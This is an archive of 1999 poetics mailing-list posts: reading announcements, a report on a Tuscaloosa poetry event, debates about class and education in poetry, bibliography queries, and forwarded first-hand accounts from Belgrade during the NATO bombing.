Almost all vital work done in the arts in the last 80 years has a specific audience, one that is not authorized (as a "mass audience") by the approval-machinery of the culture bizness; whether one thinks of Ingmar Bergman or Robert Wilson or Ornette Coleman.... And the 20th century was not the only time this has been true, over history.

mark prejsnar

On Mon, 29 Mar 1999, louis stroffolino wrote:

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being "highly educated" can GET IN THE WAY, or detract, from being intellectual. And even though I, with Howe, question the "frightening anti-intellectualism" of our society, and even her Stevensian notion that poets may (if not must) address themselves to an elite, I think the distinction (implicit at least) in LK's question between an "highly educated" elite and an "intellectual" one (i use the term intellectual more loosely, as a sense of rigorous thought-engagement even if it lacks the proper pedigrees and references) needs at least to be entertained if not stressed....
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that calls for a consideration of the uncertainty and alterity that mark our reading of an other's texts. There is more at stake than just figuring
out "what it means." Anyway, I don't know to many academics who have this
goal. (Isn't so much of the poetry that we all enjoy and feel invested in
marked by a blur between poetry and criticism? Must we draw that line in the sand again? Why?)

For me, the joy of poetry comes not just from New Critically reading (or writing) the Genius of a poem, In Itself. But from following the textual threads out of the work and into other texts and other uncertainties, ad infinitum. Not knowing "what it means" is the greatest joy.

Grant

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367. miekal and
a manifesto, a media prayer & 3 questions
Mon 29 Mar 1999

(the unwar {z}one)
http://net22.com/qazingulaza/o_so_vo/index.html

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368. ken|n|ing
A REMINDER /
Mon 29 Mar 1999

As a reminder: The spring issue of KENNING is soon to be on its way to subscribers -- is due in about a week or slightly more. Those who haven't taken the opportunity to check out my little magazine are encouraged to do so now. Sample copies ($5.00 / per) of vol. 1, no. 3 are still available, though running out fast. This issue features Daniel Bouchard, Standard Schaefer, Sheila E. Murphy, Charles Bernstein, John Lowther, Hoa Nguyen, Peter Ganick, Mark DuCharme, Lisa Jarnot, Ida Yoshinaga, Mark Prejsnar, Andrew Levy, Susan Smith Nash, Gustaf Sobin, Ra DiPalma, John Taggart, Tina Darragh, & Nathaniel Mackey interviewed by Brent Cunningham. Those wishing to subscribe should send $9.50 made out to the editor, Patrick F. Durgin, to the address below. Subscriptions received after mid-April will begin with vol. 1, no. 4 and end with the summer issue, no. 5, details below: Vol. 1, No. 4 [forthcoming]: Elizabeth Treadwell, Anselm Berrigan, Dale Smith, Leslie Scalapino, Mac Wellman, Eileen Myles, Bill Luoma, among many others. Vol. 2, No. 5 [forthcoming]: Lyn Hejinian, Jon Cone, Rachel Blau DuPlessis, Peter O'Leary, Brian Kim Stefans, Michael Gottlieb, among many others. There will be a full announcement once the spring issue "hits the stands" including ordering options other than direct from the publisher. Remember: the small-press community is self-defining, and a subscription here and there is one of the most vital ways to participate! Patrick F. Durgin

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k e n n i n g``````````````|```````````````````````````
a newsletter of contemporary |poetry,  poetics,  and  non-fiction writing
                    |418 Brown St. #10  Iowa City, IA 52245  USA
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369. **Lowther,John**
The APG in Tuscaloosa 3.6.99
Mon 29 Mar 1999

---

on March 6th three parts of the APG (Atlanta Poetry Group) - namely Mark Prejsnar, Randy Prunty and)ohnLowther set out from @lanta for Tuscaloosa and a day of poetry-related activities - also a day of forgetting that Tuscaloosa is on the other side of the time line and thus lots of thinking we were late and/or getting to places early

the ride went and town was reached motel checked-in and campus found (in spite of slanty directions - and a raspberry for Jon Berry) - at 1pm a panel began to take form in yellow brick english building - milling about and then seated, in addition to the APG were Hank Lazer, Jake Berry, Jon Berry, Jack Foley, Michael Martone, a collector of experimental literature named Sachler (i believe), William Doty, Bill Lavender, Adele Foley (ever-present on the microphones an tape machine) and some folks we didn't know or meet

Jon Berry read a list of questions - supposedly 6 or 7 - for lack of anything else let's call the topic 'contemporary literature' - and then the show began... well the 'panel' - not really that 'showy' but you follow

i took no notes and so will undoubtedly miss much - but - M.Martone's talk was about a series of 'travel pieces' he's been writing about Ohio - he's interested in the frame in which they get published and instead of sending them to ficton venues or whatever he tries to publish in small local newspapers in ohio
Jack Foley had a prepared talk for which i wd be hard pressed to extract any single thesis - various phrases stuck out "a blind man haunts literature" (homer, don't you know) much was made of this by Foley that it was a challenge to literature on the page and - "the crisis of literature" apparently something due to the various options we have now, print, orality, electronic - this drew a lot of questioning - mainly from me as i felt and feel that the 'crisis' but is much overplayed - what of the crisis of colas ? we RC, Pepsi, etc... Foley used a series of examples that one can find in early Derrida and at times seemed to be ghosting along in parallel to a Jerome Rothenberg essay that i read someplace - within al of this it seem that he wants to see a more conscious return to Orality (big O) and he feels that the web/net (has anyone remarked on the slight creepiness of those two images) will somehow promote this thing he wants to happen - after criticizing langpo as poetry that is 'only on the page' he told me i wd see what more cd be done with poetry if i attended the reading that evening
Jake Berry's comments were impressionistic and responsive to the mood up until that point - he put no program forward but seemed generally pleased that the internet was in some sense letting poets have more access and exposure
Marvin Sachler spoke next from the standpoint of collector and audience for

poetry & literature but not - as he insisted - producer - with his talk the themes of internet triumphalism that had been manifest in Foley's talk and pointed at in Jake's came rushing to the fore - this provoked some pointed questions about why poets should strive to have big audiences and general critique of the rah rah web web cheering that had been going on - Mr Sachler is certainly entitled to his opinions but to my ears they boiled down to a) writers should make their work more appealing visually so more people will be motivated to look at it and b) everyone should use the internet so that they can have a bigger audience - as was his wont Jack Foley got into this on Sachler's side of the debate and when i said something about poetry never having had a large audience by today's standards he disagreed and cited some work of the 19th C and how widely distributed it was - i have forgotten what this was unfortunately but i'm tempted to think it was by Longfellow - my suggestion was that if this sort of popularity was wanted then this sort of work ought be written Hank Lazer was next and he addressed more directly and with greater balance the web rhetoric as rhetoric while also not dismissing the work that is available there - Hank's talk was full of questions and had a poetic structure in many senses (which was unfortunately interrupted by another panelist who desired to talk over it at times) - sorry to say that much of what he was doing or trying to do in his piece was i think overshadowed by the specters of arguments already raised it ended with Sachler showing us some goodies from his collection

the APG went in search of food and drink
times passed
we noted that we had little remaining until the performance was set to begin
we were wrong (time zone)
and arrived an hour early

the evening's performance was held in a small theatre - a good space i thought for this sort of thing - the nights program was divided into two parts - roughly an hour each in the 1st hour Jack and Adelle Foley, Jake Berry, and Hank Lazer performed - the Foleys read together to begin - Jack seemingly the dominant (certainly louder) and then Adelle coming in to read on top of him in a performance that was - if nothing else - Loud - the material itself was hard for me to get much sense of behind the very theatrical inflection and general ostentatiousness of their production - but what i cd make out gave me some sense of why Jack cited Dylan Thomas several times during the afternoon panel - their performances cd also i think be characterized by a two-tone sense of dynamics; loud (relative to speaking) and LOUD relative to anything (be warned - i'm not in sympathy with Foley's work and so what merits it may have i cannot hope to point to) - but Hank was great - he was working with musical accompaniment from Jake Berry (guitar playing submerged bluesy stuff) and Wayne (forgot the last name - he's a photographer i understand and a pretty

sympathetic accompanist on a variety of non-standard percussion instruments) - Hank's readings were varied and i had varied responses to them - one that struck me as particularly successful had him read a whole text of a poem to light accompanying sounds and then to improv his way thru it a 2nd time in collaboration with more input from Jake and Wayne - another that stuck out for the APG featured a line something like "Chilli Davis Legged out a grounder" - which Mark P - baseball man that he is 'got' to me it was a rush of interesting sounds that left me wondering for several seconds before something whispered 'baseball?' in my head Jake Berry read from Brambu Drezi book II (i think) and had only Wayne on percussion to work with - but i must say that while i am generally skeptical about the use of musical stuff with poetry - i think that these two worked very very well together - one reason for this is that Jake's work live has a chant-like insistence to it that Wayne was able to highlight without ever getting in the way of - a portion of Jake's reading was in some other language (made-up? real? glossolalia?) - this was maybe my favorite part of the whole thing as he really kicked the words out of his mouth with a lot of energy and yet never succumbed to theatricality - the live reading didn't change my thinking about Jake's work but definitely intensified the sense of it as a life-project and thickened the vibe which at times suggests snake-handling and 'old-time religion' (think of the beefheart song) as well as a sort of gothic sensibility with hints of voodoo and - frankly - suffering (why this collection doesn't add up to pretense is what makes Jake's work worthwhile)

the 2nd hour was a grab bag of everybody else who came that had something to read - a visual highlight was a tuscaloosa native named Darryl standing tall and dressed in a charmingly outlandish fashion with dozens of ear-rings bracelets necklaces buckles and straps with flowing garb + a derby hat (there were feathers involved someplace i know) - but the visual highlight was him holding up in the spotlights a large translucent green dildo which wagged limply back and forth sending out green reflections Susan Holbrook a poet from vancouver read from a series of prose poems that build on lines from the brother grimm - i think the project is called 'Grimm" but am not sure - the syntax was mostly normative and the action came out of the sexual hints and suggestions in the opening lines which wd then get played out and turned around and around as the piece moved on we of the APG read as well - Mark took stage first and read from his Loss Leider poems - and did i think a pretty bang up job of it - i read from a ms. called Aeros in Err - Randy read a selection of poems and managed to get the house lights turned up and had copies for everyone in the audience which i think helped what was already a really great performance on his part (clearly the best of the three of us that evening) the last reader and a stupendous show-closer was Bill Lavender - introduced as The Man from New Orleans - Bill has great presence on stage and

sort of lacsidasical presentation that combined beautifully with a substantial piece of poetry that made loops within itself to continually revisit a particular joke the terms and punchline of which varied throughout - it was really pretty great - not much else i can say about it

after the performance we all went to a mexican restaurant when thru a series of mime-like activities and gestures i was able to get something that had no meat in it - everybody drank beer and margaritas and got pretty silly until time to go to sleep & Jake Berry looked very green under fluorescent light

Hank was a great host and we look forward to going to other events there in the future - perhaps there are others in the southeast that might also in the future attend

)L

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370. **Robert Freedman**

Re: Armand Schwerner Tablets

Mon 29 Mar 1999

Miekal,

You probably already know about this, but "Poems for the Millennium," Volume II (Rothenberg/Joris) has about 4 pages of excerpts. If you don't have access let me know and I'll copy the stuff for you and send it by email.

Bob Freedman
----- Original Message -----
From: Richard Carfagna <[redacted]>
To: <[redacted]>
Sent: Thursday, March 25, 1999 7:07 AM
Subject: Re: Armand Schwerner Tablets

> *Hi miekal,*
> *I don't know if this will be of any considerable help, but check out the essay at this site:*
> *http://www.valdosta.edu/vsu/dept/cas/eng/note/lavazzi.htm*
> *If you can't get to it , let me know and I can either e-mail or fax a copy to you.*
> *ric*
>
> ----------
> *From: POETICS[SMTP:[redacted]]*
> *Sent: Thursday, March 25, 1999 9:39 AM*
> *To: [redacted]*
> *Subject: Re: Armand Schwerner Tablets*

> *Im working on a piece for armand schwerner & am having an impossible time finding anything from the tablets on the net, (if I go interlibrary loan it could take months out here), does anyone out there in popoland have ecopy of any, or know of any secret websites that may have excerpts? (who knows maybe alta vista is a shitty searchengine.)*
>
> *Or mayhaps someone is courageous enuf to key in their own favorite or lovely sections & post it herefront.*
>
> *just doesn't feel the sample without one-liners, something abt community.*
>
> *miekal*

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371. **Maria Damon (Maria Damon)**

Re: Barnard Conference...

Mon 29 Mar 1999

At 1:51 AM 3/29/99, louis stroffolino wrote:
>Recently, I've been informed that the panellists giving papers, and/or
>talks at the Barnard Conference HAVE TO PAY A FEE in order to attend
>this conference. I personally (as well as some others I've talked to)
>find this appalling. When Stephen Cope (are you there Stephen; if so,
>backchannel please) invited me to be part of the conference, he made
>no mention of it, and since it was "in my backyard" as it were, I
>was thinking I--if not getting paid for my efforts--would at least
>not have to PAY to participate. I do not know if the "big names" are
>getting paid to present here, and I certainly have no gripe with them
>if they are, but the idea that us "smaller names" have to PAY is
>something I wish I would have been told up front. I understand that
>the organizers are putting a lot of work into this conference, but
>Barnard, one would think, certainly wouldn't benefit from the "petty
>cash" it would extract from underpayed (underused) academically
>unafffiliated writers....
>So, I'm wondering if there's anything that can be done about this?
>
>Best,
>Chris Stroffolino

chris this is pretty common, as at MLA, ASA, etc. you have to register, which costs bucks, sometimes big bucks, and then pay your own expenses when yr there... unless you've got a generous dept. or special travel funds... sucky but true...

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372. Tony Green

Re: [Fwd: [Fwd: Belgrade: a feminist report]] (fwd)

Mon 29 Mar 1999

Hello Dubravka, I have forwarded your message to 2 more

[redacted] largest NZ newspaper &
[redacted] "independent" commercial TV channel

keep hoping best Tony Green

-----Original Message-----
From: Dubravka <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, 30 March 1999 02:41
Subject: [Fwd: [Fwd: Belgrade: a feminist report]] (fwd)

>dear lsit, i sent this to charls bernstein, but send to the list also.
>this is the massage from belgrade pacifist groups. thanks to
>charles and all friends to love and support. i hope i will write
>more soon .. it is really horrible
>dubravka djuric
>----------
>Forwarded message ---------- Date: Thu, 25 Mar 1999 22:17:12 +0100
>From: Zarana Papic <[redacted]>
>To: Aco Divac <[redacted]>,
> Alain Lipietz & Francine Comte <[redacted]>,
> Aleksandar Kron <[redacted]>,
> Aljosa Mimica <[redacted]>, Brana Stojkovic <[redacted]>,
> Chele <[redacted]>, Danica Ilic <[redacted]>,
> Darka Radosavljevic <[redacted]>,
> Dimitrije Todorovic <[redacted]>,
> Dragan BULATOVIC <[redacted]>,
> Dragica Vujadinovic-Milinkovic <[redacted]>,
> Dragoljub Zarkovic <[redacted]>,
> Drinka Gojkovic <[redacted]>,
> Dubravka Djuric <[redacted]>,
> Dunja Blazevic <[redacted]>, Duska <[redacted]>,
> Evropski pokret u Srbiji <[redacted]>,

> Goran Milicevic <[redacted]>, Ivana Aleksic
<[redacted]>,
> Iveta Todorova <[redacted]>, Jelena Djordjevic <[redacted]>,
> Jelena Santic <[redacted]>, KOTEVSKA Ana <[redacted]>,
> Liga socijaledmokrata Vojvodine <[redacted]>,
> Marija Bogdanovic <[redacted]>,
> Milena Dragicevic-Sesic <[redacted]>,
> Mima Pesic <[redacted]>,
> Mirjana Kovacevic <[redacted]>,
> nikola tucic <[redacted]>, Pedja Dojcinovic <[redacted]>,
> Rade Veljanovski <[redacted]>, Rastko Mocnik <[redacted]>,
> Slobodanka Ast <[redacted]>,
> Snjezana Milivojevic <[redacted]>,
> Srdjan Darmanovic <[redacted]>, Srdjan Rajkovic <[redacted]>,
> Svetlana Slapsak <[redacted]>,
> Tinde Kovac-Cerovic <[redacted]>,
> vesna rakic-vodinelic <[redacted]>,
> Zaga Golubovic <[redacted]>, Zarko Paunovic <[redacted]>
>Cc: Autonomous Women's Center Against Sexual Violence <[redacted]>
>Subject: [Fwd: [Fwd: Belgrade: a feminist report]]
>
>
>
>autonomous women's center against sexual violence
>tirsova 5a, beograd, fr yugoslavia
>tel/fax: 381.11.687.190
>e-mail: [redacted]
>
>-------- Original Message --------
>Subject: Belgrade: bombing day second
>Date: Thu, 25 Mar 1999 18:29:51 +0000
>From: "Women's Center Belgrade" <[redacted]>
>To: Zarana Papic <[redacted]>
>
>
>Belgrade, 24 march, 99
>2pm.
>
>
>dear friends,
>
>we have received many letters of support, calls from our friends

>from Bosnia, Croatia and Slovenia, thank you.
>The situation:
>Many women are affraid more or less. last night some of us have
>worked in the Womens Center untill 9pm, and after that the town was
>calm and empty, and some citizens were around entrance of houses and
>some in the cellers.
>The parts of the town near the military bases felt hard detonations
>and saw the fire. Those in the center of town did not.
>The telephone lines have become difficult.
>
>
>The worry of pacifists is the situation on Kosovo.
>First, most artillery the serbian army has concentrated in the region
>of Kosovo. Last night i finally caught the telephone lines with
>Pristina and talked to my friend, and she said that the biggest worry
>is the vengeance of serbian army against albanian population.
>The CNN and BBC TV stations are obviously very pro-violence oriented
>and they have inflicted much fear into people in Kosovo, on top of
>the facts that are fearfull in themselves. The serbian officials have
>cut electriciy in Pristina last night, and tuned in this morning.
>The cutting of electricity was clearly the act of producing more fear
>on the one already there. So you can imagine the mood in Pristina.
>This morning there is no bread and milk in most of the shops in
>Belgrade and Pristina.
>and it is a beautifull sunny day.
>
>
>The fact that enrages is that serbian regime has totally and
>apsolutelly taken the control of all the media. Which means that
>only few words come in, and that language of hatred, production of
>enemies and vengeance politics is increasing every minute. Four
>TV stations fused in one and two others in the other one. The people
>who do not have satellite TV get few news per hour, about shelters
>and enemies, and nothing else. This is as well frightening.
>
>Many women did not sleep last night,
>and sirenas are on and off every couple of hours. So some of us are
>constatly on the phone with those who feel bad.
>
>
>Once again feminists and pacifists from Belgrade are again this time
>sending sisterly tender words for our friends and Albanian women and

>their families in Kosovo.
>
>
>lepa mladjenovic
>
>autonomous women's center against sexual violence
>tirsova 5a, beograd, fr yugoslavia
>tel/fax: 381.11.687.190
>e-mail: [redacted]
>

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373. **kathylou**
Re: Class is . . . (fwd)
Mon 29 Mar 1999

---------- Forwarded Message: ----------
From: [redacted]
To: [redacted]
Subject: Re: Class is . . .
Date: Mon, 29 Mar 1999 19:04:49 +0000

Mairead,
I don't care if you think it's obnoxious. Survival is
survival. One does what one needs to do in order to
survive. For poor and working class folks survival is
often the name of the game--not "offense." In any case,
you're just trying to turn what I said on its head without
responding to the crux of my point, which I find
obnoxious. Backchannel further, please.
Thank you.
Kathy Lou Schultz
>
>
> On Fri, 26 Mar 1999 [redacted] wrote:
>
> > I'm a girl from the working class and I swear I
> > can smell class. I can sniff it out. I'm rarely wrong.
> > What does this mean? Perhaps that those less privileged
> > become adept at reading class codes--and often at adopting
> > those of the upper classes as a means of survival.
>
> Kathy Lou, this seems to me a very mixed blessing. I suppose there were

> always those who could sniff out a Catholic or a Jew or a Black. Often
> the sniffing is offensive rather than defensive. Sniff away: I find the
> notion obnoxious.
> Mairead
>

↑ Index

374. Taylor Brady
Re: query
Mon 29 Mar 1999

Summi (and all who might be interested) -

Might not be the case any longer, but I know that as recently as last year a video was available which archived three (?) of Child's 70's and early 80's works - I remember, in particular, "Mayhem," don't know offhand whether "Is This What You Were Born For?" was included. The distributor was one commonly used by Media Studies folks at Buffalo - Anya Lewin would be a good person to ask. Anya, are you out there?

In any event, if Anya isn't on the list, I'd be happy to forward queries to her - hesitant as always to give out private e-mail addresses on lists, but I'd like to help however I can.

Overcautiously yours,
Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Summi Kaipa
Sent: Monday, March 29, 1999 6:52 AM
To: [redacted]
Subject: query

Does anyone out there know anything about the work of Abigail Child? I just recently saw part of a film of hers entitled "Is This What You Were Born For?" which had Hannah Weiner's words dubbed into it.

Any leads?

--Summi

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375. Don Wellman
Re: Lettrisme
Mon 29 Mar 1999

In an issue of Adz, early 1980's there is an interview in English with Jean-Paul Curtay, a second or third generation Letterist with a book in french to his credit, Lettrrism. That book is undoubtedly a very important resource for info on the topic.

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376. Maria Damon
Re: Class, Working Pages, and the Mothers Conference
Mon 29 Mar 1999

At 7:53 PM -0500 3/26/99, Bobbie West wrote:
... Among what I consider to be academically (middle
>class) influenced magazines and presses, the grittier aspects of life are
>often not addressed at all or they’re abstractified to the point of numbness.
>The middle class tendency to smooth over all roughness, to hush the noise, to
>tame the emotions, can lead to smooth poetry, soothing to the mind’s ear, but
>producing about as much engagement as watching a roomful of people think.
>Added value is accrued by including references to philosophical or literary
>texts that are either unavailable or seem irrelevant to the concerns of the
>lower classes. Of course I’m not saying that all working class people like it
>rough and all middle class people like it smooth, but that the rough is more
>quickly dismissed and that those who do the dismissing are more likely to be
>>from a middle class or higher social background.
>
this is very interesting. can you mention anyone other than dorothy allison
who seems to you to correspond to the class differences you indicate? what
about kathy acker? i'd peg her as a "nice middle class jewish girl" and
she does indeed allude to lots of high-falutin writers in her work, but
it's not exactly smooth. someone like hejinian i can see ---a number of my
working class students are genuinely mystified by why anyone would want to
write like her or like jane bowles...

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377. Noam Scheindlin
READINGS
Mon 29 Mar 1999

Chez Laroe, a performance space on Park Avenue in Manhattan, will have three readings by poets on Saturday nights between April 17 and May 15. The schedule is as follows:

April 17: Ruth Altmann, Lisa Buscani, Bill Kushner, and Thaddeus Rutkowski

May 1: Tom X. Chao, Tom Savage, Noam Scheindlin, and Michele Madigan Sommerville

May 15: Donna Cartelli, Merry Fortune, Lilla Lyon, and Dominic Hamilton-Little

The address is 303 Park Avenue between 23 and 24th streets. Readings begin at 8. Refreshments are included with admission ($10).

Reservations are required! Please call [redacted]. (Please do not email me to do this, because I am only the conduit for this information.)

Also, I have just finished beginning making my home page, and one can now read some of my poems online at http://nonoam.home.mindspring.com.

Best,
Noam Scheindlin

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378. BETSY ANDREWS
Re: A desperate Cry
Mon 29 Mar 1999

Does anybody know the White House and State Dept email addresses?

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379. Mairead Byrne
ictus
Mon 29 Mar 1999

Ictus is a listserv set up for the immediate purpose of communicating with poets in Kosovo and Serbia. I have been a member of various poetry/poetics listservs through the bombing of Iraq and now Serbia. I would like to see if it is possible to establish longer dialogues than those which have erupted in immediate reaction to attack. Poets everywhere are welcome to join. This is an unmoderated list.

Mairead Byrne

http://ictus.listbot.com

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380. David L. Erben
Robert Pinsky
Tue 30 Mar 1999

Robert Pinsky will be speaking at the Doerman Theater at the University of Toledo, Ohio, on Friday, April 2. His talk will start at 4 PM.

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381. Harris Schiff
George Schneeman's 1999 Calendar: Paesaggi Senesi
Tue 30 Mar 1999

Sample George Schneeman's 1999 Calendar: Paesaggi Senesi

Please forward this message to anyone who might be interested, thanks.
http://cyberpoems.com/cyberchiks1/calendario.htm

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382. Pierre Joris
Re: Lettrisme
Tue 30 Mar 1999

Don Wellman wrote:

> *In an issue of Adz, early 1980's there is an interview in English with Jean-Paul Curtay, a second or third generation Letterist with a book in french to his credit, Lettrrism. That book is undoubtedly a very important resource for info on the topic.*

The book is called _La Poésie Lettriste_, was published by Seghers in 1974 and is excellent -- a long historico-critical intro on lettrism, followed by a solid anthology of lettrist texts. The book is most certainly out of print (unless recently reprinted) but should be available in some University libraries via Interlibrary loan, if one has an institutional affiliation.

Pierre

--
==========
Pierre Joris
[redacted]
http://www.albany.edu/~joris/
6 Madison Place

Albany NY 12202
tel: [redacted]
fax: [redacted]
==========
Nomadism answers to a relation that
possession cannot satisfy.

— Maurice Blanchot
==========

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383. **Poetics List**
Re: A desperate Cry
Tue 30 Mar 1999

The President may be contacted via the www at The White House site, <www.whitehouse.gov>; this is done with a form, so there's no "portable" email address I can provide.

The State Department, too, has a "feedback" section; the URL for that site is <www.state.gov>. Their "foreign policy opinion" email address is <[redacted]>.

Email is better than nothing, but personally I think it's a good idea always to couple that with a snail-mail letter or a telephone call - the relative ease of email contact (and email petitioning) is not lost to these people.

Chris

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384. **travmar03**
Fw: April 3, 1999 --
Tue 30 Mar 1999

Watch for the Age in its Cage and other spectacular feats of daring by the amazing duo:

Stephen Rodofer and Shawn Walker
Highwire Gallery
139 N. 2nd Street
Philadelphia
Saturday April 3, 1999
8 PM
BYOB

>>Stephen will give a talk titled: The Age in its Cage
>>At 5 PM at the Writers House.
>>
>>Bring a friend, a family member, a small pet, and a whole lot of endurance.
>>E-mail this out to any you may think are interested.
>>
>>xoxo
>>your sponsors
>>Fuchs and Connor
>>
>>
>>
>
>
>

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385. **Michael Magee**
Re: LYNN KELLY's Q & SUSAN HOWE'S A
Tue 30 Mar 1999

According to Mark Prejsnar:
>
> These questions about educational level, etc., are often thrown at
> interesting poetry; and are very instructive for what they suggest about
> the person asking 'em..
>

Mark's absolutely right here - who brings up these questions in most cases? - highly educated mainstreamers, no? In places like NYTBR, no? As evidence to the contrary of this correlation btwn "experimental" and educated "elite" I'd point to the many poets I know working in various "poetry in the schools" projects and to one specific example: Susan Stewart using Harryette Mullen's *Muse & Drudge* in a literacy program and then having Harryette flown in to read for those students, to great affect and much fun, I hear. Elitist? Hardly. In contrast, could *anything* be more alienating to, say, an undereducated, working class person than, say, Richard Wilbur's "Still, Citizen Sparrow"? Now *that's* a poem which requires the full regalia of a long and evil "education." - m.

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386. Loss Pequen~o Glazier
Wednesday Reading - Buffalo
Tue 30 Mar 1999

A reminder for those in the area:

Digital Poetry Reading / Hypertext Performance

JIM ROSENBERG
&
LOSS PEQUEÑO GLAZIER

Wednesdays at 4 Plus Series
Weds., March 31, 4pm
CFA Screening Room

Rosenberg is one of the leading hypertexual/web poets and theorists, whose best known work is Intergrams (Eastgate Systems).

Poet Glazier is Director of UB's Electronic Poetry Center and Webmaster for the College of Arts & Sciences. Books include Leaving Loss Glazier, and Small Press: An Annotated Guide. ----------
----

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387. Michael Boughn
Re: Class is . . . (fwd)
Tue 30 Mar 1999

Dear Kathy Lou Schultz:

You quickly learn to keep such knwledges secret unless you're looking for a fight. See Melville's _White Jacket_.

Best,
Mike

> *Mairead,*
> *I don't care if you think it's obnoxious. Survival is survival. One does what one needs to do in order to survive. For poor and working class folks survival is often the name of the game--not "offense." In any case, you're just trying to turn what I said on its head without responding to the crux of my point, which I find obnoxious. Backchannel further, please.*
> *Thank you.*
> *Kathy Lou Schultz*

> *On Fri, 26 Mar 1999 [redacted] wrote:*
>
> *I'm a girl from the working class and I swear I*
> *can smell class. I can sniff it out. I'm rarely wrong.*
> *What does this mean? Perhaps that those less privileged*
> *become adept at reading class codes--and often at adopting*
> *those of the upper classes as a means of survival.*
>
> *Kathy Lou, this seems to me a very mixed blessing. I suppose there were*
> *always those who could sniff out a Catholic or a Jew or a Black. Often*
> *the sniffing is offensive rather than defensive. Sniff away: I find the*
> *notion obnoxious.*
> *Mairead*

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388. **Gerald Schwartz**

Re: LYNN KELLY's Q & SUSAN HOWE'S A

Tue 30 Mar 1999

Is there any validity to considering this a question of who sets the agenda? I poet's "explanation" of a reality may serve as the context in which a reader considers the meaning of an "event", even if the reader nd the poet have diametrically opposede renderings of the same occurence. By strssing poetry as information, I do not mean to suggest that a poem's information is the only source. But, given the audience, may be of a limited power in swaying. Take it further, there are probably poetic productions that lower their audience's aspirations to advance.

What I mean to suggest is that a poem can impart to occurences their public persona/character as it transforms a mere happening to a publically recognizeable event. Along these lines I am thinking of some performances as the modern replacement of the town crier. Some performances, perhaps more in a griot tradition, track "fires", reporting on them, while offering help or initiating criticism as appropriate.

Gerald

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389. David Baratier

Larry's

Tue 30 Mar 1999

I have been voted on to the advisory board for Larry's & as result
of thinly veiled debate followed by injuries we will have an
excellent Spring line-up.
We are funded by the OAC and located
at 2040 N. High Street, Columbus OH
Readings on Mondays, followed by an open
Starts at 7pm

March 29th Tom Bridwell - Former publisher / editor of salt-works press. Whose _Notes of a Cistern_ was one of the best books I read last year. For a 3 page preview contact Steve Ellis (who is here somewhere) & buy the new Oasia Broadside.

April 5th
Annie Finch

April 12th
Larry Smith & Michael Waldecki

April 19th
Kathy Fagan

April 26th
Brian Richards

May 3rd
Deborah Sobeloff
Winner, Redding Memorial Contest

May 10th
David Shevin

Please come out.

Be well

David Baratier

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390. **kathylou**
Re: query
Tue 30 Mar 1999

Abigail Childs' films are available through Canyon Cinema
in San Francisco, an artist-member organization where much
of the rental fees go to the filmmakers. Very cool.

Canyon Cinema Co-op
2325-Third Street
San Francisco
[redacted]

Best,
Kathy Lou Schultz
> Summi (and all who might be interested) -
>
> Might not be the case any longer, but I know that as recently as last year a
> video was available which archived three (?) of Child's 70's and early 80's
> works - I remember, in particular, "Mayhem," don't know offhand whether "Is
> This What You Were Born For?" was included. The distributor was one
commonly
> used by Media Studies folks at Buffalo - Anya Lewin would be a good person
> to ask. Anya, are you out there?
>
> In any event, if Anya isn't on the list, I'd be happy to forward queries to
> her - hesitant as always to give out private e-mail addresses on lists, but
> I'd like to help however I can.
>
> Overcautiously yours,
> Taylor
>
> -----Original Message-----
> From: UB Poetics discussion group [mailto:[redacted]]
> On Behalf Of Summi Kaipa
> Sent: Monday, March 29, 1999 6:52 AM
> To: [redacted]
> Subject: query
>
> Does anyone out there know anything about the work of Abigail Child? I
> just recently saw part of a film of hers entitled "Is This What You Were
> Born For?" which had Hannah Weiner's words dubbed into it.
>
> Any leads?

>
>
> --Summi

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391. Tony Green
Re: Lettrisme
Tue 30 Mar 1999

& more bibliography:

Experimental -- Visual -- Concrete : avant -garde poetry since the 1960s ed.K.David Jackson, Eric Vos & Johanna Drucker. (Avant garde critical studies; 10) Rodopi B.V., Amsterdam-Atlanta.Ga 1996. ISBN: 90-5183-959-6 (bound) ISBN: 90-5183-941-3 (paper) Several references to Isou. Neat summary of activity of Lettrism pp 46-47 in Johanna Drucker's useful essay _ Experimental, Visual, and Concrete Poetry: A Note on Historical Context and Basic Concepts._ The book resulted from the Yale "Symphoposium" on Contemporary Poetics and Concretism, April 5-7, 1995. The conference was initially to be about Augusto & Harold de Campos, but it expanded to include later visual, sound, aleatoric, & concrete poetries. The result was an encounter between early Concretism & its disciples & later practitioners in a related but much wider range of poetries.

You might guess what my spell-checker suggests for all this.

Tony Green

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392. Charles Bernstein
Post from Dubravka Djuric (fwrd)
Tue 30 Mar 1999

Dubravka Djuric is a poet and translator and journalist living in Belgrade, who among many projects is an editor of Pro Femina. She also a good friend (Dubravka and her husband the philosopher and art historian Misko Suvokovic, spent a semester in Buffalo some years ago as Poetics Program Fellows). Dubravka asked me to pass along this post if I thought it would be of interest to the list (she notes that the names of the days of the week may be wrong). A few days ago, Dubravka posted a statement to the list from the Belgrade feminist peace activist Lepa Mladjenovic. --Charles Bernstein

Date: Sat, 27 Mar 1999 09:53:34 +0100 (CET)
From: Dubravka <[redacted]>

monday: i was in the center of the city seeing some friends. people already start talking about bombing. i heard comment 'we will be occupied as macedonia, bosnia and croation' didn't comment it. i stop commenting because it doesn’t have any sense. we all think what we want to think. thursday: all day spent in front of tv, reading newspapaers and was nervous and paralyzed. wednesday: decided do go to visit some friends who work in presses and to give them new issue of pro femina magazine that appeared few days earlier. on my way to the center first impression was that the town had very few people on streets, which is unusual. belgrade is full of people specially because so many refugees become its citizens, you could hardly walk through streets they were so full of people and crowded with cars. my friends kept talking about bombing, about buying enough food. again on streets, i could feel fear in the air. belgrade was city of ghosts. went to NUNS (office of independent journalist association, also pro femina is there) met friend who told me about veran matic (b 92 is publisher of pro femina). all around could feel fear. in the evening sirens. we could hear few detonations. spent some time behind tv, but not much information till 21 hours, then some confused one. during the night sirens, but we continued to sleep. saturday: went to downtown. few people on the street. went to buy food twice. supermarket was full of people who buy food and didn't comment on anything. you could feel fear on their faces. at night we were in darkness. few detonations near my husband’s and my place. then we went in bed. friday: went to downtown. more people on streets, more cars. the atmosphere calmed. people walked. went to NUNS to pick up the some books. met friends who spoke about what might happened. at quarter past four heard sirens. jumped into the bus. look to the people on the street who just continued to walk normally, back home. all afternoon was on line with misko replying to friends from slovenia, croatia, usa that we are ok. friends from belgrade and novi sad called and we called then. words of courage, and deep worrying. people are scared how long this could last, what could happen. the experience is that all our lives are in danger. and i think about people, many of them our friends and close relatives, in croatia and bosnia during the war... forwarded a message from friends written by belgrade feminist peace activist lepa mladjenovic . went to 